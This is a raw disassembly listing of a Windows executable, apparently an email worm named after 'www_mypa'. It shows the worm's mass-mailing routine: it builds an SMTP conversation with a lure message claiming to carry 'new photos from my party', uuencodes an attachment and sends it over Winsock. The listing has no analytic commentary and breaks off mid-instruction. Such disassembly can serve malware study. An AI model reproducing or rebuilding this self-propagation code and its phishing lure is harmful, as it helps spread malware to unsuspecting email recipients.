00401E2D 3819 CMP BYTE PTR DS:[ECX],BL 00401E2F 0F85 81010000 JNZ www_mypa.00401FB6 00401E35 FF75 08 PUSH DWORD PTR SS:[EBP+8] 00401E38 FF75 08 PUSH DWORD PTR SS:[EBP+8] 00401E3B 68 90054100 PUSH www_mypa.00410590 00401E40 68 B4CA4000 PUSH www_mypa.0040CAB4 ; ASCII "HELO HOST MAIL From:<%s> RCPT To:<%s> DATA To: %s Subject: new photos from my party! Hello! My party... It was absolutely amazing! I have attached my web page with new photos! If you can please make color prints of my photos. Thanks! " 00401E45 FF35 C4F94000 PUSH DWORD PTR DS:[40F9C4] 00401E4B E8 D00E0000 CALL www_mypa.00402D20 00401E50 83C4 14 ADD ESP,14 00401E53 68 90CA4000 PUSH www_mypa.0040CA90 ; ASCII 0A,"begin 666 " 00401E58 FF35 C4F94000 PUSH DWORD PTR DS:[40F9C4] 00401E5E E8 4D020000 CALL www_mypa.004020B0 00401E63 59 POP ECX 00401E64 59 POP ECX 00401E65 FF35 C4F94000 PUSH DWORD PTR DS:[40F9C4] 00401E6B E8 30100000 CALL www_mypa.00402EA0 00401E70 59 POP ECX 00401E71 895D 08 MOV DWORD PTR SS:[EBP+8],EBX 00401E74 8B0D 70F54000 MOV ECX,DWORD PTR DS:[40F570] 00401E7A 3BCB CMP ECX,EBX 00401E7C 0F86 17010000 JBE www_mypa.00401F99 00401E82 8D51 D3 LEA EDX,DWORD PTR DS:[ECX-2D] 00401E85 3955 08 CMP DWORD PTR SS:[EBP+8],EDX 00401E88 76 08 JBE SHORT www_mypa.00401E92 00401E8A 2B4D 08 SUB ECX,DWORD PTR SS:[EBP+8] 00401E8D 894D 0C MOV DWORD PTR SS:[EBP+C],ECX 00401E90 EB 07 JMP SHORT www_mypa.00401E99 00401E92 C745 0C 2D000000 MOV DWORD PTR SS:[EBP+C],2D 00401E99 395D 0C CMP DWORD PTR SS:[EBP+C],EBX 00401E9C 74 0B JE SHORT www_mypa.00401EA9 00401E9E 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C] 00401EA1 83E1 3F AND ECX,3F 00401EA4 83C1 20 ADD ECX,20 00401EA7 EB 03 JMP SHORT www_mypa.00401EAC 00401EA9 6A 60 PUSH 60 00401EAB 59 POP ECX 00401EAC 8B15 C4F94000 MOV EDX,DWORD PTR DS:[40F9C4] 00401EB2 880C10 MOV BYTE PTR DS:[EAX+EDX],CL 00401EB5 40 INC EAX 00401EB6 33C9 XOR ECX,ECX 00401EB8 395D 0C CMP DWORD PTR SS:[EBP+C],EBX 00401EBB 894D 10 MOV DWORD PTR SS:[EBP+10],ECX 00401EBE 0F86 B7000000 JBE www_mypa.00401F7B 00401EC4 8B55 08 MOV EDX,DWORD PTR SS:[EBP+8] 00401EC7 03CA ADD ECX,EDX 00401EC9 030D C8F94000 ADD ECX,DWORD PTR DS:[40F9C8] 00401ECF 0FB611 MOVZX EDX,BYTE PTR DS:[ECX] 00401ED2 0FB671 01 MOVZX ESI,BYTE PTR DS:[ECX+1] 00401ED6 0FB649 02 MOVZX ECX,BYTE PTR DS:[ECX+2] 00401EDA 8BFA MOV EDI,EDX 00401EDC 83E2 03 AND EDX,3 00401EDF 8BDE MOV EBX,ESI 00401EE1 83E6 0F AND ESI,0F 00401EE4 C1E2 04 SHL EDX,4 00401EE7 C1EB 04 SHR EBX,4 00401EEA 0BD3 OR EDX,EBX 00401EEC 8BD9 MOV EBX,ECX 00401EEE C1E6 02 SHL ESI,2 00401EF1 C1EB 06 SHR EBX,6 00401EF4 C1EF 02 SHR EDI,2 00401EF7 0BF3 OR ESI,EBX 00401EF9 83E1 3F AND ECX,3F 00401EFC 85FF TEST EDI,EDI 00401EFE 74 0A JE SHORT www_mypa.00401F0A 00401F00 83E7 3F AND EDI,3F 00401F03 83C7 20 ADD EDI,20 00401F06 8BDF MOV EBX,EDI 00401F08 EB 03 JMP SHORT www_mypa.00401F0D 00401F0A 6A 60 PUSH 60 00401F0C 5B POP EBX 00401F0D 8B3D C4F94000 MOV EDI,DWORD PTR DS:[40F9C4] 00401F13 881C38 MOV BYTE PTR DS:[EAX+EDI],BL 00401F16 33DB XOR EBX,EBX 00401F18 40 INC EAX 00401F19 3BD3 CMP EDX,EBX 00401F1B 74 08 JE SHORT www_mypa.00401F25 00401F1D 83E2 3F AND EDX,3F 00401F20 83C2 20 ADD EDX,20 00401F23 EB 03 JMP SHORT www_mypa.00401F28 00401F25 6A 60 PUSH 60 00401F27 5A POP EDX 00401F28 8B3D C4F94000 MOV EDI,DWORD PTR DS:[40F9C4] 00401F2E 881438 MOV BYTE PTR DS:[EAX+EDI],DL 00401F31 40 INC EAX 00401F32 3BF3 CMP ESI,EBX 00401F34 74 0A JE SHORT www_mypa.00401F40 00401F36 83E6 3F AND ESI,3F 00401F39 83C6 20 ADD ESI,20 00401F3C 8BD6 MOV EDX,ESI 00401F3E EB 03 JMP SHORT www_mypa.00401F43 00401F40 6A 60 PUSH 60 00401F42 5A POP EDX 00401F43 8B35 C4F94000 MOV ESI,DWORD PTR DS:[40F9C4] 00401F49 881430 MOV BYTE PTR DS:[EAX+ESI],DL 00401F4C 40 INC EAX 00401F4D 3BCB CMP ECX,EBX 00401F4F 74 08 JE SHORT www_mypa.00401F59 00401F51 83E1 3F AND ECX,3F 00401F54 83C1 20 ADD ECX,20 00401F57 EB 03 JMP SHORT www_mypa.00401F5C 00401F59 6A 60 PUSH 60 00401F5B 59 POP ECX 00401F5C 8B15 C4F94000 MOV EDX,DWORD PTR DS:[40F9C4] 00401F62 880C10 MOV BYTE PTR DS:[EAX+EDX],CL 00401F65 8B4D 10 MOV ECX,DWORD PTR SS:[EBP+10] 00401F68 83C1 03 ADD ECX,3 00401F6B 40 INC EAX 00401F6C 3B4D 0C CMP ECX,DWORD PTR SS:[EBP+C] 00401F6F 894D 10 MOV DWORD PTR SS:[EBP+10],ECX 00401F72 ^0F82 4CFFFFFF JB www_mypa.00401EC4 00401F78 8B7D FC MOV EDI,DWORD PTR SS:[EBP-4] 00401F7B 8B0D C4F94000 MOV ECX,DWORD PTR DS:[40F9C4] 00401F81 8345 08 2D ADD DWORD PTR SS:[EBP+8],2D 00401F85 C60408 0A MOV BYTE PTR DS:[EAX+ECX],0A 00401F89 8B0D 70F54000 MOV ECX,DWORD PTR DS:[40F570] 00401F8F 40 INC EAX 00401F90 394D 08 CMP DWORD PTR SS:[EBP+8],ECX 00401F93 ^0F82 E9FEFFFF JB www_mypa.00401E82 00401F99 8B0D C4F94000 MOV ECX,DWORD PTR DS:[40F9C4] 00401F9F 68 84CA4000 PUSH www_mypa.0040CA84 ; ASCII "end . QUIT " 00401FA4 881C08 MOV BYTE PTR DS:[EAX+ECX],BL 00401FA7 FF35 C4F94000 PUSH DWORD PTR DS:[40F9C4] 00401FAD E8 FE000000 CALL www_mypa.004020B0 00401FB2 59 POP ECX 00401FB3 59 POP ECX 00401FB4 EB 20 JMP SHORT www_mypa.00401FD6 00401FB6 51 PUSH ECX 00401FB7 50 PUSH EAX 00401FB8 FF75 08 PUSH DWORD PTR SS:[EBP+8] 00401FBB FF75 08 PUSH DWORD PTR SS:[EBP+8] 00401FBE 68 90054100 PUSH www_mypa.00410590 00401FC3 68 38CA4000 PUSH www_mypa.0040CA38 ; ASCII "HELO HOST MAIL From:<%s> RCPT To:<%s> DATA To: %s Subject: %s %s . QUIT " 00401FC8 FF35 C4F94000 PUSH DWORD PTR DS:[40F9C4] 00401FCE E8 4D0D0000 CALL www_mypa.00402D20 00401FD3 83C4 1C ADD ESP,1C 00401FD6 53 PUSH EBX 00401FD7 FF35 C4F94000 PUSH DWORD PTR DS:[40F9C4] 00401FDD E8 BE0E0000 CALL www_mypa.00402EA0 00401FE2 59 POP ECX 00401FE3 40 INC EAX 00401FE4 50 PUSH EAX 00401FE5 FF35 C4F94000 PUSH DWORD PTR DS:[40F9C4] 00401FEB 57 PUSH EDI 00401FEC E8 7F000000 CALL www_mypa.00402070 ; JMP to WS2_32.send 00401FF1 83F8 FF CMP EAX,-1 00401FF4 75 0D JNZ SHORT www_mypa.00402003 00401FF6 57 PUSH EDI 00401FF7 E8 6E000000 CALL www_mypa.0040206A ; JMP to WS2_32.closesocket 00401FFC E8 63000000 CALL www_mypa.00402064 ; JMP to WS2_32.WSACleanup 00402001 EB 50 JMP SHORT www_mypa.00402053 00402003 BE E8030000 MOV ESI,3E8 00402008 53 PUSH EBX 00402009 8D85 04FCFFFF LEA EAX,DWORD PTR SS:[EBP-3FC] 0040200F 56 PUSH ESI 00402010 50 PUSH EAX 00402011 57 PUSH EDI 00402012 E8 47000000 CALL www_mypa.0040205E ; JMP to WSOCK32.recv 00402017 53 PUSH EBX 00402018 8D85 04FCFFFF LEA EAX,DWORD PTR SS:[EBP-3FC] 0040201E 56 PUSH ESI 0040201F 50 PUSH EAX 00402020 57 PUSH EDI 00402021 E8 38000000 CALL www_mypa.0040205E ; JMP to WSOCK32.recv 00402026 53 PUSH EBX 00402027 8D85 04FCFFFF LEA EAX,DWORD PTR SS:[EBP-3FC] 0040202D 56 PUSH ESI 0040202E 50 PUSH EAX 0040202F 57 PUSH EDI 00402030 E8 29000000 CALL www_mypa.0040205E ; JMP to WSOCK32.recv 00402035 6A 02 PUSH 2 00402037 57 PUSH EDI 00402038 E8 1B000000 CALL www_mypa.00402058 ; JMP to WS2_32.shutdown 0040203D 57 PUSH EDI 0040203E E8 27000000 CALL www_mypa.0040206A ; JMP to WS2_32.closesocket 00402043 E8 1C000000 CALL www_mypa.00402064 ; JMP to WS2_32.WSACleanup 00402048 68 88130000 PUSH 1388 0040204D FF15 C8214100 CALL DWORD PTR DS:[4121C8] ; kernel32.Sleep 00402053 5F POP EDI 00402054 5E POP ESI 00402055 5B POP EBX 00402056 C9 LEAVE 00402057 C3 RETN 00402058 -FF25 98224100 JMP DWORD PTR DS:[412298] ; WS2_32.shutdown 0040205E -FF25 9C224100 JMP DWORD PTR DS:[41229C] ; WSOCK32.recv 00402064 -FF25 A4224100 JMP DWORD PTR DS:[4122A4] ; WS2_32.WSACleanup 0040206A -FF25 A8224100 JMP DWORD PTR DS:[4122A8] ; WS2_32.closesocket 00402070 -FF25 A0224100 JMP DWORD PTR DS:[4122A0] ; WS2_32.send 00402076 -FF25 B4224100 JMP DWORD PTR DS:[4122B4] ; WS2_32.connect 0040207C -FF25 BC224100 JMP DWORD PTR DS:[4122BC] ; WS2_32.ntohs 00402082 -FF25 B8224100 JMP DWORD PTR DS:[4122B8] ; WS2_32.gethostbyname 00402088 -FF25 AC224100 JMP DWORD PTR DS:[4122AC] ; WS2_32.socket 0040208E -FF25 B0224100 JMP DWORD PTR DS:[4122B0] ; WS2_32.WSAStartup 00402094 CC INT3 00402095 CC INT3 00402096 CC INT3 00402097 CC INT3 00402098 CC INT3 00402099 CC INT3 0040209A CC INT3 0040209B CC INT3 0040209C CC INT3 0040209D CC INT3 0040209E CC INT3 0040209F CC INT3 004020A0 57 PUSH EDI 004020A1 8B7C24 08 MOV EDI,DWORD PTR SS:[ESP+8] 004020A5 EB 6A JMP SHORT www_mypa.00402111 004020A7 2E:8BC0 MOV EAX,EAX ; Superfluous prefix 004020AA 2E:8BC0 MOV EAX,EAX ; Superfluous prefix 004020AD 2E:8BC0 MOV EAX,EAX ; Superfluous prefix 004020B0 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 004020B4 57 PUSH EDI 004020B5 F7C1 03000000 TEST ECX,3 004020BB 74 0F JE SHORT www_mypa.004020CC 004020BD 8A01 MOV AL,BYTE PTR DS:[ECX] 004020BF 41 INC ECX 004020C0 84C0 TEST AL,AL 004020C2 74 3B JE SHORT www_mypa.004020FF 004020C4 F7C1 03000000 TEST ECX,3 004020CA ^75 F1 JNZ SHORT www_mypa.004020BD 004020CC 8B01 MOV EAX,DWORD PTR DS:[ECX] 004020CE BA FFFEFE7E MOV EDX,7EFEFEFF 004020D3 03D0 ADD EDX,EAX 004020D5 83F0 FF XOR EAX,FFFFFFFF 004020D8 33C2 XOR EAX,EDX 004020DA 83C1 04 ADD ECX,4 004020DD A9 00010181 TEST EAX,81010100 004020E2 ^74 E8 JE SHORT www_mypa.004020CC 004020E4 8B41 FC MOV EAX,DWORD PTR DS:[ECX-4] 004020E7 84C0 TEST AL,AL 004020E9 74 23 JE SHORT www_mypa.0040210E 004020EB 84E4 TEST AH,AH 004020ED 74 1A JE SHORT www_mypa.00402109 004020EF A9 0000FF00 TEST EAX,0FF0000 004020F4 74 0E JE SHORT www_mypa.00402104 004020F6 A9 000000FF TEST EAX,FF000000 004020FB 74 02 JE SHORT www_mypa.004020FF 004020FD ^EB CD JMP SHORT www_mypa.004020CC 004020FF 8D79 FF LEA EDI,DWORD PTR DS:[ECX-1] 00402102 EB 0D JMP SHORT www_mypa.00402111 00402104 8D79 FE LEA EDI,DWORD PTR DS:[ECX-2] 00402107 EB 08 JMP SHORT www_mypa.00402111 00402109 8D79 FD LEA EDI,DWORD PTR DS:[ECX-3] 0040210C EB 03 JMP SHORT www_mypa.00402111 0040210E 8D79 FC LEA EDI,DWORD PTR DS:[ECX-4] 00402111 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C] 00402115 F7C1 03000000 TEST ECX,3 0040211B 74 19 JE SHORT www_mypa.00402136 0040211D 8A11 MOV DL,BYTE PTR DS:[ECX] 0040211F 41 INC ECX 00402120 84D2 TEST DL,DL 00402122 74 64 JE SHORT www_mypa.00402188 00402124 8817 MOV BYTE PTR DS:[EDI],DL 00402126 47 INC EDI 00402127 F7C1 03000000 TEST ECX,3 0040212D ^75 EE JNZ SHORT www_mypa.0040211D 0040212F EB 05 JMP SHORT www_mypa.00402136 00402131 8917 MOV DWORD PTR DS:[EDI],EDX 00402133 83C7 04 ADD EDI,4 00402136 BA FFFEFE7E MOV EDX,7EFEFEFF 0040213B 8B01 MOV EAX,DWORD PTR DS:[ECX] 0040213D 03D0 ADD EDX,EAX 0040213F 83F0 FF XOR EAX,FFFFFFFF 00402142 33C2 XOR EAX,EDX 00402144 8B11 MOV EDX,DWORD PTR DS:[ECX] 00402146 83C1 04 ADD ECX,4 00402149 A9 00010181 TEST EAX,81010100 0040214E ^74 E1 JE SHORT www_mypa.00402131 00402150 84D2 TEST DL,DL 00402152 74 34 JE SHORT www_mypa.00402188 00402154 84F6 TEST DH,DH 00402156 74 27 JE SHORT www_mypa.0040217F 00402158 F7C2 0000FF00 TEST EDX,0FF0000 0040215E 74 12 JE SHORT www_mypa.00402172 00402160 F7C2 000000FF TEST EDX,FF000000 00402166 74 02 JE SHORT www_mypa.0040216A 00402168 ^EB C7 JMP SHORT www_mypa.00402131 0040216A 8917 MOV DWORD PTR DS:[EDI],EDX 0040216C 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 00402170 5F POP EDI 00402171 C3 RETN 00402172 66:8917 MOV WORD PTR DS:[EDI],DX 00402175 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 00402179 C647 02 00 MOV BYTE PTR DS:[EDI+2],0 0040217D 5F POP EDI 0040217E C3 RETN 0040217F 66:8917 MOV WORD PTR DS:[EDI],DX 00402182 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 00402186 5F POP EDI 00402187 C3 RETN 00402188 8817 MOV BYTE PTR DS:[EDI],DL 0040218A 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 0040218E 5F POP EDI 0040218F C3 RETN 00402190 53 PUSH EBX 00402191 8B1D 10074100 MOV EBX,DWORD PTR DS:[410710] 00402197 55 PUSH EBP 00402198 56 PUSH ESI 00402199 85DB TEST EBX,EBX 0040219B 57 PUSH EDI 0040219C 75 1C JNZ SHORT www_mypa.004021BA 0040219E A1 18074100 MOV EAX,DWORD PTR DS:[410718] 004021A3 85C0 TEST EAX,EAX 004021A5 74 0F JE SHORT www_mypa.004021B6 004021A7 E8 44150000 CALL www_mypa.004036F0 004021AC 85C0 TEST EAX,EAX 004021AE 75 67 JNZ SHORT www_mypa.00402217 004021B0 8B1D 10074100 MOV EBX,DWORD PTR DS:[410710] 004021B6 85DB TEST EBX,EBX 004021B8 74 5D JE SHORT www_mypa.00402217 004021BA 8B6C24 14 MOV EBP,DWORD PTR SS:[ESP+14] 004021BE 85ED TEST EBP,EBP 004021C0 74 55 JE SHORT www_mypa.00402217 004021C2 8BFD MOV EDI,EBP 004021C4 83C9 FF OR ECX,FFFFFFFF 004021C7 33C0 XOR EAX,EAX 004021C9 8B13 MOV EDX,DWORD PTR DS:[EBX] 004021CB F2:AE REPNE SCAS BYTE PTR ES:[EDI] 004021CD F7D1 NOT ECX 004021CF 49 DEC ECX 004021D0 85D2 TEST EDX,EDX 004021D2 8BF1 MOV ESI,ECX 004021D4 74 41 JE SHORT www_mypa.00402217 004021D6 8BFA MOV EDI,EDX 004021D8 83C9 FF OR ECX,FFFFFFFF 004021DB 33C0 XOR EAX,EAX 004021DD F2:AE REPNE SCAS BYTE PTR ES:[EDI] 004021DF F7D1 NOT ECX 004021E1 49 DEC ECX 004021E2 3BCE CMP ECX,ESI 004021E4 76 15 JBE SHORT www_mypa.004021FB 004021E6 803C16 3D CMP BYTE PTR DS:[ESI+EDX],3D 004021EA 75 0F JNZ SHORT www_mypa.004021FB 004021EC 56 PUSH ESI 004021ED 55 PUSH EBP 004021EE 52 PUSH EDX 004021EF E8 BC140000 CALL www_mypa.004036B0 004021F4 83C4 0C ADD ESP,0C 004021F7 85C0 TEST EAX,EAX 004021F9 74 11 JE SHORT www_mypa.0040220C 004021FB 8B53 04 MOV EDX,DWORD PTR DS:[EBX+4] 004021FE 83C3 04 ADD EBX,4 00402201 85D2 TEST EDX,EDX 00402203 ^75 D1 JNZ SHORT www_mypa.004021D6 00402205 33C0 XOR EAX,EAX 00402207 5F POP EDI 00402208 5E POP ESI 00402209 5D POP EBP 0040220A 5B POP EBX 0040220B C3 RETN 0040220C 8B03 MOV EAX,DWORD PTR DS:[EBX] 0040220E 8D4406 01 LEA EAX,DWORD PTR DS:[ESI+EAX+1] 00402212 5F POP EDI 00402213 5E POP ESI 00402214 5D POP EBP 00402215 5B POP EBX 00402216 C3 RETN 00402217 5F POP EDI 00402218 5E POP ESI 00402219 5D POP EBP 0040221A 33C0 XOR EAX,EAX 0040221C 5B POP EBX 0040221D C3 RETN 0040221E 90 NOP 0040221F 90 NOP 00402220 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8] 00402224 57 PUSH EDI 00402225 53 PUSH EBX 00402226 56 PUSH ESI 00402227 8A11 MOV DL,BYTE PTR DS:[ECX] 00402229 8B7C24 10 MOV EDI,DWORD PTR SS:[ESP+10] 0040222D 84D2 TEST DL,DL 0040222F 74 69 JE SHORT www_mypa.0040229A 00402231 8A71 01 MOV DH,BYTE PTR DS:[ECX+1] 00402234 84F6 TEST DH,DH 00402236 74 4F JE SHORT www_mypa.00402287 00402238 8BF7 MOV ESI,EDI 0040223A 8B4C24 14 MOV ECX,DWORD PTR SS:[ESP+14] 0040223E 8A07 MOV AL,BYTE PTR DS:[EDI] 00402240 46 INC ESI 00402241 38D0 CMP AL,DL 00402243 74 15 JE SHORT www_mypa.0040225A 00402245 84C0 TEST AL,AL 00402247 74 0B JE SHORT www_mypa.00402254 00402249 8A06 MOV AL,BYTE PTR DS:[ESI] 0040224B 46 INC ESI 0040224C 38D0 CMP AL,DL 0040224E 74 0A JE SHORT www_mypa.0040225A 00402250 84C0 TEST AL,AL 00402252 ^75 F5 JNZ SHORT www_mypa.00402249 00402254 5E POP ESI 00402255 5B POP EBX 00402256 5F POP EDI 00402257 33C0 XOR EAX,EAX 00402259 C3 RETN 0040225A 8A06 MOV AL,BYTE PTR DS:[ESI] 0040225C 46 INC ESI 0040225D 38F0 CMP AL,DH 0040225F ^75 EB JNZ SHORT www_mypa.0040224C 00402261 8D7E FF LEA EDI,DWORD PTR DS:[ESI-1] 00402264 8A61 02 MOV AH,BYTE PTR DS:[ECX+2] 00402267 84E4 TEST AH,AH 00402269 74 28 JE SHORT www_mypa.00402293 0040226B 8A06 MOV AL,BYTE PTR DS:[ESI] 0040226D 83C6 02 ADD ESI,2 00402270 38E0 CMP AL,AH 00402272 ^75 C4 JNZ SHORT www_mypa.00402238 00402274 8A41 03 MOV AL,BYTE PTR DS:[ECX+3] 00402277 84C0 TEST AL,AL 00402279 74 18 JE SHORT www_mypa.00402293 0040227B 8A66 FF MOV AH,BYTE PTR DS:[ESI-1] 0040227E 83C1 02 ADD ECX,2 00402281 38E0 CMP AL,AH 00402283 ^74 DF JE SHORT www_mypa.00402264 00402285 ^EB B1 JMP SHORT www_mypa.00402238 00402287 33C0 XOR EAX,EAX 00402289 5E POP ESI 0040228A 5B POP EBX 0040228B 5F POP EDI 0040228C 8AC2 MOV AL,DL 0040228E E9 530B0000 JMP www_mypa.00402DE6 00402293 8D47 FF LEA EAX,DWORD PTR DS:[EDI-1] 00402296 5E POP ESI 00402297 5B POP EBX 00402298 5F POP EDI 00402299 C3 RETN 0040229A 8BC7 MOV EAX,EDI 0040229C 5E POP ESI 0040229D 5B POP EBX 0040229E 5F POP EDI 0040229F C3 RETN 004022A0 56 PUSH ESI 004022A1 8B7424 08 MOV ESI,DWORD PTR SS:[ESP+8] 004022A5 57 PUSH EDI 004022A6 83CF FF OR EDI,FFFFFFFF 004022A9 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] 004022AC A8 40 TEST AL,40 004022AE 74 0D JE SHORT www_mypa.004022BD 004022B0 C746 0C 00000000 MOV DWORD PTR DS:[ESI+C],0 004022B7 83C8 FF OR EAX,FFFFFFFF 004022BA 5F POP EDI 004022BB 5E POP ESI 004022BC C3 RETN 004022BD A8 83 TEST AL,83 004022BF 74 4A JE SHORT www_mypa.0040230B 004022C1 56 PUSH ESI 004022C2 E8 69160000 CALL www_mypa.00403930 004022C7 83C4 04 ADD ESP,4 004022CA 8BF8 MOV EDI,EAX 004022CC 56 PUSH ESI 004022CD E8 CE150000 CALL www_mypa.004038A0 004022D2 8B46 10 MOV EAX,DWORD PTR DS:[ESI+10] 004022D5 83C4 04 ADD ESP,4 004022D8 50 PUSH EAX 004022D9 E8 E2140000 CALL www_mypa.004037C0 004022DE 83C4 04 ADD ESP,4 004022E1 85C0 TEST EAX,EAX 004022E3 7D 0F JGE SHORT www_mypa.004022F4 004022E5 83CF FF OR EDI,FFFFFFFF 004022E8 C746 0C 00000000 MOV DWORD PTR DS:[ESI+C],0 004022EF 8BC7 MOV EAX,EDI 004022F1 5F POP EDI 004022F2 5E POP ESI 004022F3 C3 RETN 004022F4 8B46 1C MOV EAX,DWORD PTR DS:[ESI+1C] 004022F7 85C0 TEST EAX,EAX 004022F9 74 10 JE SHORT www_mypa.0040230B 004022FB 50 PUSH EAX 004022FC E8 6F140000 CALL www_mypa.00403770 00402301 83C4 04 ADD ESP,4 00402304 C746 1C 00000000 MOV DWORD PTR DS:[ESI+1C],0 0040230B 8BC7 MOV EAX,EDI 0040230D C746 0C 00000000 MOV DWORD PTR DS:[ESI+C],0 00402314 5F POP EDI 00402315 5E POP ESI 00402316 C3 RETN 00402317 90 NOP 00402318 90 NOP 00402319 90 NOP 0040231A 90 NOP 0040231B 90 NOP 0040231C 90 NOP 0040231D 90 NOP 0040231E 90 NOP 0040231F 90 NOP 00402320 51 PUSH ECX 00402321 53 PUSH EBX 00402322 55 PUSH EBP 00402323 8B6C24 18 MOV EBP,DWORD PTR SS:[ESP+18] 00402327 56 PUSH ESI 00402328 0FAF6C24 18 IMUL EBP,DWORD PTR SS:[ESP+18] 0040232D 8B7424 14 MOV ESI,DWORD PTR SS:[ESP+14] 00402331 57 PUSH EDI 00402332 85ED TEST EBP,EBP 00402334 897424 18 MOV DWORD PTR SS:[ESP+18],ESI 00402338 896C24 10 MOV DWORD PTR SS:[ESP+10],EBP 0040233C 75 08 JNZ SHORT www_mypa.00402346 0040233E 33C0 XOR EAX,EAX 00402340 5F POP EDI 00402341 5E POP ESI 00402342 5D POP EBP 00402343 5B POP EBX 00402344 59 POP ECX 00402345 C3 RETN 00402346 8B5C24 24 MOV EBX,DWORD PTR SS:[ESP+24] 0040234A F743 0C 0C010000 TEST DWORD PTR DS:[EBX+C],10C 00402351 74 09 JE SHORT www_mypa.0040235C 00402353 8B7B 18 MOV EDI,DWORD PTR DS:[EBX+18] 00402356 897C24 24 MOV DWORD PTR SS:[ESP+24],EDI 0040235A EB 0C JMP SHORT www_mypa.00402368 0040235C C74424 24 001000>MOV DWORD PTR SS:[ESP+24],1000 00402364 8B7C24 24 MOV EDI,DWORD PTR SS:[ESP+24] 00402368 8B4B 0C MOV ECX,DWORD PTR DS:[EBX+C] 0040236B 81E1 08010000 AND ECX,108 00402371 74 3D JE SHORT www_mypa.004023B0 00402373 8B43 04 MOV EAX,DWORD PTR DS:[EBX+4] 00402376 85C0 TEST EAX,EAX 00402378 74 36 JE SHORT www_mypa.004023B0 0040237A 3BE8 CMP EBP,EAX 0040237C 73 02 JNB SHORT www_mypa.00402380 0040237E 8BC5 MOV EAX,EBP 00402380 8B3B MOV EDI,DWORD PTR DS:[EBX] 00402382 8BC8 MOV ECX,EAX 00402384 8BD1 MOV EDX,ECX 00402386 2BE8 SUB EBP,EAX 00402388 C1E9 02 SHR ECX,2 0040238B F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 0040238D 8BCA MOV ECX,EDX 0040238F 83E1 03 AND ECX,3 00402392 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> 00402394 8B73 04 MOV ESI,DWORD PTR DS:[EBX+4] 00402397 8B13 MOV EDX,DWORD PTR DS:[EBX] 00402399 8B4C24 18 MOV ECX,DWORD PTR SS:[ESP+18] 0040239D 2BF0 SUB ESI,EAX 0040239F 03D0 ADD EDX,EAX 004023A1 03C8 ADD ECX,EAX 004023A3 8973 04 MOV DWORD PTR DS:[EBX+4],ESI 004023A6 8913 MOV DWORD PTR DS:[EBX],EDX 004023A8 894C24 18 MOV DWORD PTR SS:[ESP+18],ECX 004023AC 8BF1 MOV ESI,ECX 004023AE EB 77 JMP SHORT www_mypa.00402427 004023B0 3BEF CMP EBP,EDI 004023B2 72 48 JB SHORT www_mypa.004023FC 004023B4 85C9 TEST ECX,ECX 004023B6 74 11 JE SHORT www_mypa.004023C9 004023B8 53 PUSH EBX 004023B9 E8 72150000 CALL www_mypa.00403930 004023BE 83C4 04 ADD ESP,4 004023C1 85C0 TEST EAX,EAX 004023C3 0F85 8B000000 JNZ www_mypa.00402454 004023C9 85FF TEST EDI,EDI 004023CB 74 0C JE SHORT www_mypa.004023D9 004023CD 8BC5 MOV EAX,EBP 004023CF 33D2 XOR EDX,EDX 004023D1 F7F7 DIV EDI 004023D3 8BFD MOV EDI,EBP 004023D5 2BFA SUB EDI,EDX 004023D7 EB 02 JMP SHORT www_mypa.004023DB 004023D9 8BFD MOV EDI,EBP 004023DB 8B43 10 MOV EAX,DWORD PTR DS:[EBX+10] 004023DE 57 PUSH EDI 004023DF 56 PUSH ESI 004023E0 50 PUSH EAX 004023E1 E8 7A170000 CALL www_mypa.00403B60 004023E6 83C4 0C ADD ESP,0C 004023E9 83F8 FF CMP EAX,-1 004023EC 74 4B JE SHORT www_mypa.00402439 004023EE 2BE8 SUB EBP,EAX 004023F0 03F0 ADD ESI,EAX 004023F2 3BC7 CMP EAX,EDI 004023F4 897424 18 MOV DWORD PTR SS:[ESP+18],ESI 004023F8 72 3F JB SHORT www_mypa.00402439 004023FA EB 2B JMP SHORT www_mypa.00402427 004023FC 0FBE0E MOVSX ECX,BYTE PTR DS:[ESI] 004023FF 53 PUSH EBX 00402400 51 PUSH ECX 00402401 E8 2A160000 CALL www_mypa.00403A30 00402406 83C4 08 ADD ESP,8 00402409 83F8 FF CMP EAX,-1 0040240C 74 46 JE SHORT www_mypa.00402454 0040240E 8B43 18 MOV EAX,DWORD PTR DS:[EBX+18] 00402411 46 INC ESI 00402412 4D DEC EBP 00402413 897424 18 MOV DWORD PTR SS:[ESP+18],ESI 00402417 85C0 TEST EAX,EAX 00402419 894424 24 MOV DWORD PTR SS:[ESP+24],EAX 0040241D 7F 08 JG SHORT www_mypa.00402427 0040241F C74424 24 010000>MOV DWORD PTR SS:[ESP+24],1 00402427 85ED TEST EBP,EBP 00402429 ^0F85 35FFFFFF JNZ www_mypa.00402364 0040242F 8B4424 20 MOV EAX,DWORD PTR SS:[ESP+20] 00402433 5F POP EDI 00402434 5E POP ESI 00402435 5D POP EBP 00402436 5B POP EBX 00402437 59 POP ECX 00402438 C3 RETN 00402439 8B53 0C MOV EDX,DWORD PTR DS:[EBX+C] 0040243C 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 00402440 83CA 20 OR EDX,20 00402443 2BC5 SUB EAX,EBP 00402445 8953 0C MOV DWORD PTR DS:[EBX+C],EDX 00402448 33D2 XOR EDX,EDX 0040244A F77424 1C DIV DWORD PTR SS:[ESP+1C] 0040244E 5F POP EDI 0040244F 5E POP ESI 00402450 5D POP EBP 00402451 5B POP EBX 00402452 59 POP ECX 00402453 C3 RETN 00402454 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 00402458 33D2 XOR EDX,EDX 0040245A 2BC5 SUB EAX,EBP 0040245C F77424 1C DIV DWORD PTR SS:[ESP+1C] 00402460 5F POP EDI 00402461 5E POP ESI 00402462 5D POP EBP 00402463 5B POP EBX 00402464 59 POP ECX 00402465 C3 RETN 00402466 90 NOP 00402467 90 NOP 00402468 90 NOP 00402469 90 NOP 0040246A 90 NOP 0040246B 90 NOP 0040246C 90 NOP 0040246D 90 NOP 0040246E 90 NOP 0040246F 90 NOP 00402470 E8 DB1A0000 CALL 